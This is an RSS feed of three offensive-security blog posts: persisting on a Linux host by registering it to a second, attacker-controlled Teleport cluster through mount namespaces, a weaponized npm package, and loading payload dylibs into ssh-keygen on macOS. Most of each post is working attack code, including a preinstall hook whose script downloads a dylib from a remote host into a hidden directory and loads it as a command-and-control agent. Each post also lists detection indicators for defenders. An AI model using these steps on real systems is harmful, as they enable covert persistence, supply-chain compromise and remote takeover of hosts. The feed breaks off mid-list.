<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Leo Pitt on Medium]]></title>
        <description><![CDATA[Stories by Leo Pitt on Medium]]></description>
        <link>https://medium.com/@D00MFist?source=rss-c1f5c2dadf0c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ILJRh_wPBIgPkuRcVgR8BA.png</url>
            <title>Stories by Leo Pitt on Medium</title>
            <link>https://medium.com/@D00MFist?source=rss-c1f5c2dadf0c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:56:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@D00MFist/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Second Beam’s the Charm]]></title>
            <link>https://medium.com/@D00MFist/second-beams-the-charm-02949c37ea84?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/02949c37ea84</guid>
            <category><![CDATA[linux-namespace]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[teleport]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[persistence]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 14:00:41 GMT</pubDate>
            <atom:updated>2026-09-28T14:00:41.822Z</atom:updated>
            <content:encoded><![CDATA[<p>Running a Second Teleport Node via Mount Namespaces</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DH7mNrpT4Y6OMCdH.png" /></figure><h3>Background</h3><p>I recently revisited the awesome work done by the Mitiga team on abusing AWS’s Systems Manager (SSM) agent as a Remote Access Trojan (RAT). After reviewing that post, I wondered if the core concepts could be applied to other tools. Specifically, I was curious if we could do this with Teleport on Linux hosts. This post dives into the results of that research.</p><p>First, let’s go over the scenario. Say you are on an engagement and encounter a Linux host that is already registered as a Teleport node in a legitimate cluster. The goal here is to establish persistent access by registering the same host as a node in a second, attacker-controlled Teleport cluster without disrupting the existing node.</p><p>The challenge here is that Teleport stores its identity, certificates, and cluster registration state within the/var/lib/teleport directory. A second Teleport process starting on the same host will immediately see that directory and either refuse to start or conflict with the existing registration. Even when passing a different directory via the --data-dir flag, the two processes still share the same filesystem namespace, creating other conflicts.</p><p>The solution to this is the same technique Mitiga abuses, which comes from Linux mount namespaces. Using unshare -m, allows a process to have its own private view of the filesystem. By bind mounting empty directories over the existing Teleport state paths inside that namespace, the second Teleport process believes it is on a completely fresh host and registers cleanly to the attacker-controlled cluster. While the original process and the real filesystem are completely untouched.</p><h4>How Teleport Registers a Node</h4><p>When Teleport starts as an SSH node it:</p><ol><li>Reads its config from /etc/teleport.yaml</li><li>Checks /var/lib/teleport for existing identity/certificates</li><li>If the state exists, it resumes using it , no re-registration</li><li>If the state is empty, it uses the join token to register as a new node</li></ol><p>This means that if we can make /var/lib/teleport appear empty to a second process, it will register as a brand-new node regardless of what the real directory contains.</p><pre>Host view:                        Namespace view:<br>/var/lib/teleport/                /var/lib/teleport/<br>  ├── host_uuid/                    ├── (empty)<br>  ├── proc/<br>  └──...existing state</pre><h3>Usage</h3><h4>Setup</h4><p>First, we need to set up our attacker Teleport instance. This can be performed with a standard Community edition instance. Steps are covered <a href="https://goteleport.com/docs/get-started/deploy-community/">here</a>.</p><p>To help follow along, here are key points for the rest of this example:</p><ul><li>Attacker Teleport Domain: soXXXXXf</li><li>Target Teleport Domain: soXXXXXub</li><li>Compromised Host: teleport-testhost</li></ul><p>After setting up an instance, go through the first couple of steps of enrolling a new resource by hitting the “Enroll New Resource” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mxg6Vw3nX4TKiwwVoetELg.png" /><figcaption>Attacker Controlled Teleport Instance (soXXXXf)</figcaption></figure><p>After this, we will choose Ubuntu since this is our compromised host example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWpo5r6FnGJctwrwgv8KRw.png" /><figcaption>Selecting Ubuntu Setup</figcaption></figure><p>Next, we skipped the label and were provided with an install command. This is what we would typically run in a normal setup, but we want to extract some key variables so we don’t overwrite the existing Teleport instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhuKwM5A9tM4Ij0VeFZR0w.png" /><figcaption>Teleport node install command</figcaption></figure><p>We can pull the join token and the other required values directly from the target cluster’s install script without executing it:</p><pre>curl -fsSL https://teleport.&lt;attacker&gt;.org/scripts/install.sh | grep -E &#39;^\s*(JOIN_TOKEN|CA_PINS|TARGET_HOSTNAME|TARGET_PORT|LABELS)=&#39;</pre><p>Here are the key variables we should have now:</p><pre>TARGET_HOSTNAME=&#39;teleport.soXXXXXXXXf.org&#39;<br>TARGET_PORT=&#39;443&#39;<br>JOIN_TOKEN=&#39;eXXXXXXXXXXXXa2&#39;<br>LABELS=&quot;teleport.internal/resource-id=51XXXXXXXXXXXXXX5d&quot;<br>CA_PINS=&#39;sha256:46XXXXXXXXXXXX74&#39;<br>TARGET_PORT=${TARGET_PORT_DEFAULT}</pre><p>Now that we have the variables from our attacker controlled instance, we can start laying the foundation on the compromised teleport-testhost endpoint. We can set these environment variables on the compromised host. I used the NUMBERTWO label for demo purposes.</p><pre>export TELEPORT_BIN_NUMBERTWO=$(which teleport)<br>export JOIN_TOKEN_NUMBERTWO=&#39;&lt;token&gt;&#39;<br>export CA_PINS_NUMBERTWO=&#39;sha256:&lt;pin&gt;&#39;<br>export TARGET_HOSTNAME_NUMBERTWO=&#39;teleport.&lt;attacker&gt;.org&#39;<br>export TARGET_PORT_NUMBERTWO=&#39;443&#39;<br>export LABELS_NUMBERTWO=&#39;teleport.internal/resource-id=&lt;id&gt;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3AuwE3B1xqEFpchI3rg3A.png" /><figcaption>Setting Environment variables on target host</figcaption></figure><p>Next, we need to make directories to store our secondary Teleport configurations.</p><pre>mkdir -p /home/ubuntu/teleportnumbertwo/bounds/varlib<br>mkdir -p /home/ubuntu/teleportnumbertwo/bounds/logs</pre><p>Next, we simply copy the teleport binary installed on the host to the newly created directory.</p><pre>cp $TELEPORT_BIN_NUMBERTWO /home/ubuntu/teleportnumbertwo/</pre><p>Then we generate a node configuration pointing at the attacker controlled cluster. The teleport node configure command handles this cleanly without needing to hand-write the YAML file:</p><pre>/home/ubuntu/teleportnumbertwo/teleport node configure \<br>  --token ${JOIN_TOKEN_NUMBERTWO} \<br>  --ca-pin ${CA_PINS_NUMBERTWO} \<br>  --proxy ${TARGET_HOSTNAME_NUMBERTWO}:${TARGET_PORT_NUMBERTWO} \<br>  --labels &quot;${LABELS_NUMBERTWO}&quot; \<br>  --output /home/ubuntu/teleportnumbertwo/teleport.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xq9rPrSBr39tkAZuHCetFg.png" /><figcaption>Generating config file on target host. It notes that running the setup normally would lead to a conflict.</figcaption></figure><p>Next, we create the log mount point if it does not already exist.</p><pre>mkdir -p /var/log/teleport</pre><p>Lastly, the key command. This will launch the second Teleport instance inside a new mount namespace, bind mounting the empty directories over the real Teleport state paths.</p><pre>sudo setsid unshare -m bash -c &quot;<br>  mount --bind /home/ubuntu/teleportnumbertwo/bounds/varlib /var/lib/teleport &amp;&amp;<br>  mount --bind /home/ubuntu/teleportnumbertwo/bounds/logs /var/log/teleport &amp;&amp;<br>  /home/ubuntu/teleportnumbertwo/teleport start \<br>    --config=/home/ubuntu/teleportnumbertwo/teleport.yaml<br>&quot; &gt; /home/ubuntu/teleportnumbertwo/teleport.log 2&gt;&amp;1 &amp;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIMyMumGnUBS4xM9Afd0IA.png" /><figcaption>Running the second teleport instance: Ignore unnecessary sudo :)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHi7AVnGBf4ZwSrjizw-hw.png" /><figcaption>Attacker Teleport (soXXXXf): After we run the command, we can now control the host in the WebUI just like the target does</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*mWtTICK1_iHiOgvtc8cYfg.png" /><figcaption>Attacker Teleport: Connect to target host</figcaption></figure><p><strong>Note:</strong> Depending on the Linux Distribution and version, you may be able to run unshare -m as a standard user.</p><p>The second node registers to the attacker cluster and is immediately accessible via tsh ssh or the Teleport web UI, while the original node continues operating normally on the legitimate cluster.</p><p>This does not remove from the target’s teleport instance, and they can still control it like normal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*IBfART9Oc1IO1Sv-4z8HfQ.png" /><figcaption>Target Teleport (soXXXXub): Target host is still accessible via their teleport instance</figcaption></figure><h3>Detection</h3><p>For detections, I’ve focused on process execution and network traffic. If you have more detection ideas, please share.</p><p><strong>Process execution indicators:</strong></p><ul><li><strong>Process execution from non-standard paths.</strong> Two teleport processes with different binary paths — one at /usr/local/bin/teleport and a second at /home/ubuntu/teleportnumbertwo/teleport is highly uncommon. The teleport binary is executing from a home directory path. Legitimate Teleport always runs from /usr/local/bin or a package-managed path.</li><li><strong>Process execution events with the command line arguments of </strong>unshare and setsid. These are very rarely used outside of container runtimes, and their presence in an interactive session is a strong signal.</li></ul><p><strong>Network indicators:</strong></p><ul><li><strong>Network connection events originating from the teleport binary to unknown IPs / Domains. </strong>Two persistent outbound TLS connections on port 443 from the same host to different remote IPs. For example, ss -tp will show both teleport servers.</li></ul><h3>Cleanup</h3><pre># Identify the second teleport process by its binary path<br>ps aux | grep teleportnumbertwo<br># Kill only the one running from /home/ubuntu/teleportnumbertwo/<br>kill &lt;PID&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6X3WRvQK4H-2zITYaFQUA.png" /><figcaption>Finding and terminating the second teleport instance</figcaption></figure><pre># remove working directory<br>rm -r /home/ubuntu/teleportnumbertwo/<br># unmount if bind mounts outlived the process<br>umount /var/log/teleport<br>umount /var/lib/teleport</pre><h3>Conclusion</h3><p>This post aimed to display how attackers could leverage the teleport binary to set up backdoor access to compromised hosts. The technique requires no software exploits or modification to existing configs and leaves the original node fully functional. More importantly, I hope the detection indicators shown can serve as a starting point for those developing detections for this technique.</p><h3>References / Resources:</h3><ul><li><a href="https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan">Mitiga Security Advisory: Abusing the SSM Agent as a Remote…</a>​</li><li><a href="https://man7.org/linux/man-pages/man1/unshare.1.html">https://man7.org/linux/man-pages/man1/unshare.1.html</a></li><li><a href="https://man7.org/linux/man-pages/man8/mount.8.html">https://man7.org/linux/man-pages/man8/mount.8.html</a></li><li><a href="https://goteleport.com/docs/get-started/deploy-community/">https://goteleport.com/docs/get-started/deploy-community/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02949c37ea84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Loads of Fun]]></title>
            <link>https://medium.com/@D00MFist/loads-of-fun-e1f0dac3d4f8?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1f0dac3d4f8</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[initial-access]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Fri, 08 Dec 2023 20:25:05 GMT</pubDate>
            <atom:updated>2023-12-08T20:25:05.277Z</atom:updated>
            <content:encoded><![CDATA[<p>A simple alternative to NPM payload execution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*hQ6yiGvjqGsEWtSK.png" /></figure><h3>Background</h3><p>Recently, developers were <a href="https://www.securityweek.com/developers-warned-of-malicious-pypi-npm-ruby-packages-targeting-macs/">targeted</a> with malicious packages uploaded to PyPI, NPM, and Ruby repositories targeting macOS users. Tony Lambert covered these methods in an excellent <a href="https://www.youtube.com/watch?v=Eow5uNHtmIg&amp;t=1810s">presentation</a>. With his help, I included those methods within the <a href="https://github.com/D00MFist/Mystikal">Mystikal</a> project. My initial method involved simply executing standard payloads (e.g. osascript) as a child process of node. I revisited this method to see if executing payloads within the node binary was possible versus a separate child process.</p><p>Node is not a default installation on macOS, so this method does require that the target has it installed. However, an attacker who can convince an end user to install their malicious package should also be able to persuade the target to install the legitimate Node.js application as well.</p><p>After installing Node.js from the <a href="https://nodejs.org/en/download">site</a>, I noticed that the node and npm binaries allow for dylib (dynamic library) loading. This is not surprising due to the typical usage of node. With no signing on the npm binary and the com.apple.security.cs.disable-library-validation entitlement on node, we can load arbitrary libraries without requiring code-signing.</p><pre>itsatrap@HomeOne ~ %  codesign -d --entitlements - /usr/local/bin/node<br>Executable=/usr/local/bin/node<br>[Dict]<br> [Key] com.apple.security.cs.allow-jit<br> [Value]<br>  [Bool] true<br> [Key] com.apple.security.get-task-allow<br> [Value]<br>  [Bool] true<br> [Key] com.apple.security.cs.disable-library-validation<br> [Value]<br>  [Bool] true<br> [Key] com.apple.security.cs.allow-dyld-environment-variables<br> [Value]<br>  [Bool] true<br> [Key] com.apple.security.cs.allow-unsigned-executable-memory<br> [Value]<br>  [Bool] true<br> [Key] com.apple.security.cs.disable-executable-page-protection<br> [Value]<br>  [Bool] true<br><br>itsatrap@HomeOne ~ % codesign -dv /usr/local/bin/npm<br>/usr/local/bin/npm: code object is not signed at all</pre><p>To test library loading, I used a simple dylib from <a href="https://theevilbit.github.io/">Csaba Fitzl</a>.</p><pre>itsatrap@HomeOne ~ % cat test.c<br>#include &lt;stdio.h&gt;<br>#include &lt;syslog.h&gt;__attribute__((constructor))<br>static void customConstructor(int argc, const char **argv)<br>{<br>printf(&quot;Hello from dylib!\n&quot;);<br>syslog(LOG_ERR, &quot;Dylib injection successful in %s\n&quot;, argv[0]);<br>}</pre><p>The <a href="https://www.npmjs.com/package/ffi-napi"><em>ffi-napi</em></a><em> </em>addon is a simple library that allows for loading dynamic libraries in JavaScript. After compiling the dylib, I created a script to load the dylib.</p><pre>itsatrap@HomeOne ~ % gcc -dynamiclib hello.c -o hello.dylib<br>itsatrap@HomeOne ~ % npm install ffi-napi<br>added 10 packages in 21s<br>itsatrap@HomeOne ~ % cat lib.js<br>const ffi = require(&#39;ffi-napi&#39;);<br><br>// Define the path to your dylib<br>const dylibPath = &#39;/Users/Shared/hello.dylib&#39;;<br><br>// Define the library&#39;s function signatures<br>// For this example, we&#39;re not actually defining any functions, <br>// but you&#39;d normally do so here<br>const lib = ffi.Library(dylibPath, {<br>});<br><br>// Now the dylib is loaded, but we&#39;re not calling any functions<br><br>// To keep the script running indefinitely, we can use setInterval<br>setInterval(() =&gt; {}, 1000);</pre><p>We can test the dylib load by running the script with node.</p><pre>itsatrap@HomeOne ~ % node lib.js<br>Hello from dylib!</pre><p>We get the Hello from dylib! message.</p><h3>Setup</h3><p>Weaponizing this within an NPM package requires two files: <strong>package.json</strong> and a script file (in this example, <strong>lib.js</strong>). First, the package.json file indicates the npm package details. NPM packages will first look into the package.json file to note actions to complete for installation. A significant section is the preinstall variable, which we can specify node . and this will execute everything in the folder (e.g., lib.js). However, we can put whatever shell commands we want in the preinstall section, which bash will execute.</p><pre>{<br>    &quot;name&quot;: &quot;NPM-macOS-test&quot;,<br>    &quot;version&quot;: &quot;1.0.0&quot;,<br>    &quot;description&quot;: &quot;NPM Package to test macOS detection&quot;,<br>    &quot;dependencies&quot;: {<br>      &quot;ffi-napi&quot;: &quot;latest&quot;<br>          },<br>    &quot;main&quot;: &quot;lib.js&quot;,<br>    &quot;scripts&quot;: {<br>      &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;,<br>      &quot;preinstall&quot;: &quot;node .&quot;<br>    },<br>    &quot;author&quot;: &quot;Leroy Jenkins&quot;,<br>    &quot;license&quot;: &quot;MIT&quot;<br>}</pre><p>Next is the structure of the lib.js file. This script performs the following: creates a hidden directory (~/.configs), saves the payload to the hidden directory (~/.configs/npmpayload), and runs the payload from bash.</p><pre>const https = require(&#39;http&#39;); // or &#39;https&#39; for https:// URLs<br>const fs = require(&#39;fs&#39;);<br>const path = require(&#39;path&#39;);<br>const os = require(&#39;os&#39;);<br>const ffi = require(&#39;ffi-napi&#39;);<br><br>// File download URL<br>const fileUrl = &#39;http://192.168.1.25/apfell.dylib&#39;;<br><br>const homeDirectory = os.homedir();<br>const dirName = &#39;.configs&#39;;<br>const dirPath = path.join(homeDirectory, dirName);<br><br>fs.mkdir(dirPath, { recursive: false }, (err) =&gt; {<br>  if (err) {<br>    console.error(&#39;Error creating directory:&#39;, err);<br>  } else {<br>    console.log(&#39;Directory created successfully.&#39;);<br>  }<br>});<br><br>const fileName = &#39;npmpayload.dylib&#39;;<br>const filePath = path.join(dirPath, fileName);<br><br>// Download the file<br>const fileStream = fs.createWriteStream(filePath);<br>https.get(fileUrl, (response) =&gt; {<br>  response.pipe(fileStream);<br><br>  response.on(&#39;end&#39;, () =&gt; {<br>    console.log(&#39;File downloaded successfully.&#39;);<br><br>    fs.chmod(filePath, &#39;755&#39;, (error) =&gt; {<br>      if (error) {<br>    console.error(`Error changing file permissions: ${error}`);<br>    return;<br>      }<br><br>    console.log(&#39;File permissions changed successfully.&#39;);<br>    });<br><br>try {<br>    const lib = ffi.Library(filePath, {});<br>// To keep the script running indefinitely, we can simply use setInterval <br>    setInterval(() =&gt; {}, 1000);<br><br>} catch (error) {<br>  console.error(`Error loading dylib: ${error}`);<br><br>}<br><br>  });<br><br>}).on(&#39;error&#39;, (error) =&gt; {<br>  console.error(`Error downloading file: ${error}`);<br>});</pre><h3>Usage</h3><p>We can leverage Chris Ross’ <a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">JSRunner</a> to create our <a href="https://github.com/MythicAgents/apfell">Apfell</a> dylib.</p><pre>itsatrap@HomeOne ~ % g++ -dynamiclib -o /Users/itsatrap/apfell.dylib  <br>-framework Foundation -framework OSAKit plugin.cpp <br>jsrunner.mm</pre><p>To install our npm package, the user needs to unzip the package, navigate to the folder, and run nohup npm install 2&gt;/dev/null &amp;.</p><pre>itsatrap@HomeOne ~ % unzip NPMTest.zip<br>itsatrap@HomeOne ~ % cd NPMTest<br>itsatrap@HomeOne NPMTest % nohup npm install 2&gt;/dev/null &amp;<br>[3] 1489</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F68lQ6YOvCbJLy49GDs4lg.png" /><figcaption>Apfell Agent running in the node process PID 1498</figcaption></figure><p>Execution! What’s great is that our dylib gets loaded into the node process and the dylib downloaded through node is not subject to the com.apple.quarantine file attribute.</p><h3>Detection</h3><p>I leveraged the <a href="https://github.com/redcanaryco/mac-monitor">Red Canary Mac Monitor</a> for insight into the detection artifacts. This tool is great at providing insight into Apple’s Endpoint Security Framework (ESF) within an easy-to-use interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*1ZeDSJ_xmdvE7f2VV6mFcw.png" /><figcaption>Process Execution Event Data from Red Canary Mac Monitor</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZvsgovpdaOfW4Rt9tYpjg.png" /><figcaption>Process Tree Data from Red Canary Mac Monitor</figcaption></figure><h3>Indicators:</h3><ul><li><strong>Suspicious content in the script section of the </strong><strong>packages.json file. </strong>If possible, baseline the environment and determine uncommon<strong> </strong>commands within the script section.</li><li><strong>Process execution events with command line arguments for </strong><strong>npm install</strong>. This is a legitimate command to install npm packages, so this may not necessarily be a useful indicator in environments that use npm often.</li><li><strong>Network connection events that originate from </strong><strong>node</strong>. Unfortunately, this indicator is heavily dependent on the usage of node in the environment and the typical usage of packages that create network connections.</li><li><strong>Dylib loads into the </strong><strong>node binary.</strong> Again, this depends on the prevalence of node in the environment and how often packages in use are utilizing libraries like ffi-napi.</li></ul><h3>Conclusion</h3><p>This post aimed to highlight dylib loading into the node binary. The detection indicators shown can be a starting point for those developing detections for this execution.</p><h3>References / Resources:</h3><ul><li><a href="https://www.securityweek.com/developers-warned-of-malicious-pypi-npm-ruby-packages-targeting-macs/">https://www.securityweek.com/developers-warned-of-malicious-pypi-npm-ruby-packages-targeting-macs/</a></li><li><a href="https://www.youtube.com/watch?v=Eow5uNHtmIg&amp;t=1810s&amp;ab_channel=ObjectivebytheSea">https://www.youtube.com/watch?v=Eow5uNHtmIg&amp;t=1810s&amp;ab_channel=ObjectivebytheSea</a></li><li><a href="https://github.com/D00MFist/Mystikal">https://github.com/D00MFist/Mystikal</a></li><li><a href="https://nodejs.org/en/download">https://nodejs.org/en/download</a></li><li><a href="https://theevilbit.github.io/">https://theevilbit.github.io/</a></li><li><a href="https://www.npmjs.com/package/ffi-napi">https://www.npmjs.com/package/ffi-napi</a></li><li><a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib</a></li><li><a href="https://github.com/MythicAgents/apfell">https://github.com/MythicAgents/apfell</a></li><li><a href="https://github.com/redcanaryco/mac-monitor">https://github.com/redcanaryco/mac-monitor</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1f0dac3d4f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Generate Keys or Generate Dylib Loads?]]></title>
            <link>https://medium.com/@D00MFist/generate-keys-or-generate-dylib-loads-c99ed48f323d?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c99ed48f323d</guid>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[dylib]]></category>
            <category><![CDATA[ssh-keygen]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Tue, 14 Mar 2023 15:48:04 GMT</pubDate>
            <atom:updated>2023-03-14T15:48:04.680Z</atom:updated>
            <content:encoded><![CDATA[<p>Loading malicious dylibs into the ssh-keygen binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*TjJLT5SzVMR_DE4s.png" /></figure><h3>Background</h3><p>A while back, I made a <a href="https://posts.specterops.io/dylib-loads-that-tickle-your-fancy-d25196addd8c">post</a> regarding dylib (dynamic library) loading into the tclsh binary. Since then, I’ve looked at other binaries that could achieve code execution. Using the codesign binary, I noticed that ssh-keygen possessed the com.apple.security.cs.disable-library-validation entitlement. This entitlement indicates whether an application can load arbitrary libraries without requiring code-signing, which makes it an excellent candidate for loading our dylib.</p><pre>itsatrap@HomeOne ~ % codesign -d --entitlements - /usr/bin/ssh-keygen<br>Executable=/usr/bin/ssh-keygen<br>[Dict]<br>        [Key] com.apple.security.cs.disable-library-validation<br>        [Value]<br>                 [Bool] true</pre><p>Ssh-keygen is a tool for creating new authentication key pairs for SSH (Secure Shell). Such key pairs allow for automating logins, single sign-on, and authenticating hosts. Since this binary is present on default installations of macOS, it is a great candidate for our payload execution.</p><p>After some searching, I found on <a href="https://gtfobins.github.io/gtfobins/ssh-keygen/">gtfobins</a> that ssh-keygen allows loading a shared library with the -D flag. This was great at providing clarity because the man page states that flag is for <em>downloading the public keys provided by the PKCS#11 shared library pkcs11 </em>and the only other references I found for using this flag were concerning PIV (Personal Identity Verification) card setup. So, with the gtfobins information and the entitlements on the binary I knew it was possible on macOS. To test this flag for our purposes, I used a simple dylib from <a href="https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/">Csaba Fitzl</a>.</p><pre>itsatrap@HomeOne ~ % cat hello.c<br>#include &lt;stdio.h&gt;<br>#include &lt;syslog.h&gt;<br>__attribute__((constructor))<br>static void customConstructor(int argc, const char **argv)<br>{<br>      printf(&quot;Hello from dylib!\n&quot;);<br>      syslog(LOG_ERR, &quot;Dylib injection successful in %s\n&quot;, argv[0]);<br>}</pre><p>I compiled the dylib and loaded the file using the -D flag.</p><pre>itsatrap@HomeOne ~ % gcc -dynamiclib hello.c -o hello.dylib<br>itsatrap@HomeOne ~ % ssh-keygen -D /Users/Shared/hello.dylib <br>Hello from dylib!<br>dlsym(C_GetFunctionList) failed: dlsym(0x2125ed320, C_GetFunctionList): symbol not found<br>cannot read public key from pkcs11</pre><p>We get the Hello from dylib! message but also the symbol error. I found that ssh-keygen could load dylibs, but I struggled to get it to execute an Apfell dylib. That was until I saw the great post from <a href="https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html">Sean Pesce</a>. Basically, by placing our dylib load statement into the C_GetFunctionList function that ssh-keygen is looking for, we can achieve stable execution of our Apfell dylib. For more details, I highly recommend reading the preparation section of Sean Pesce’s post. Now we can successfully execute payloads within the platform binary ssh-keygen on macOS!</p><h3>Executing an Apfell payload with ssh-keygen</h3><p>First, we need to compile our Apfell dylib. We can leverage Chris Ross’ <a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">JSRunner</a> to create our <a href="https://github.com/MythicAgents/apfell">Apfell</a> dylib.</p><pre>itsatrap@HomeOne ~ % g++ -dynamiclib -o /Users/Shared/apfell.dylib  <br>-framework Foundation -framework OSAKit ~/JXADylib/plugin.cpp <br>~/JXADylib/jsrunner.mm</pre><p>Then we can create a dylib that will load our Apfell dylib and keep it running (this could be combined, but I prefer the modular approach).</p><pre>itsatrap@HomeOne ~ % cat load.c<br>#include &lt;stdio.h&gt;<br>#include &lt;dlfcn.h&gt;<br>#include &lt;stdlib.h&gt;<br>void C_GetFunctionList(void)<br>{<br>     while (1)<br>     {<br>        dlopen(&quot;/Users/Shared/apfell.dylib&quot;,RTLD_NOW);<br>     }<br>}</pre><pre>itsatrap@HomeOne ~ % gcc -dynamiclib load.c -o load.dylib</pre><p>Load the dylib using ssh-keygen.</p><pre>itsatrap@HomeOne ~ % ssh-keygen -D /Users/Shared/load.dylib</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Duw617YipHT6he73T0g1xg.png" /><figcaption>Apfell Agent running in the ssh-keygen process PID 11901</figcaption></figure><p>We get our execution!</p><h3>Detection</h3><p>For testing, I leveraged the Elastic Agent, which I have on my macOS Ventura endpoint, which forwards events to my <a href="https://www.elastic.co/what-is/elk-stack">Elastic Stack</a> (Elasticsearch, Logstash, Kibana) to track the execution artifacts. For steps on setting this up in a lab, refer to my previous <a href="https://medium.com/@D00MFist/how-to-quickly-setup-an-elk-stack-and-elastic-agent-to-monitor-macos-event-data-da2469e6bb7">post</a>.</p><h4>Indicators:</h4><ul><li><strong>Process execution events with command line arguments of </strong>ssh-keygen -D &lt;dylib&gt;. Although ssh-keygen usage is fairly common, the -D flag is not prevalent, so establishing a usage baseline in an environment is helpful.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al46QB_5tVJ3Eoz6OqzrBA.png" /><figcaption>Process execution of the Apfell payload PID 11901</figcaption></figure><ul><li><strong>Network connection events that originate from </strong><strong>ssh-keygen</strong>. These events are likely abnormal. As stated before, the widespread usage of ssh-keygen -D is limited, and an instance in which it makes a network connection is highly uncommon.</li><li><strong>Dylib loads into the </strong><strong>ssh-keygen binary.</strong> However, it is worth noting that commercial tools tend to be limited in their ability to provide insight into these events.</li></ul><h3>Conclusion</h3><p>This post aimed to display arbitrary dylib loading into the ssh-keygen binary. More importantly, I hope the detection indicators shown can be a starting point for those developing detections for this execution method.</p><h3>References / Resources:</h3><ul><li><a href="https://posts.specterops.io/dylib-loads-that-tickle-your-fancy-d25196addd8c">https://posts.specterops.io/dylib-loads-that-tickle-your-fancy-d25196addd8c</a></li><li><a href="https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html">https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html</a></li><li><a href="https://www.ssh.com/academy/ssh/keygen">https://www.ssh.com/academy/ssh/keygen</a></li><li><a href="https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/">https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/</a></li><li><a href="https://gtfobins.github.io/gtfobins/ssh-keygen/">https://gtfobins.github.io/gtfobins/ssh-keygen/</a></li><li><a href="https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib">https://github.com/xorrior/macOSTools/tree/7f03f7fd9e4dcbf48371b5f1ff6431a36eaf0e0b/script_runners/JXADylib</a></li><li><a href="https://github.com/its-a-feature/Mythic">https://github.com/its-a-feature/Mythic</a></li><li><a href="https://www.elastic.co/what-is/elk-stack">https://www.elastic.co/what-is/elk-stack</a></li><li><a 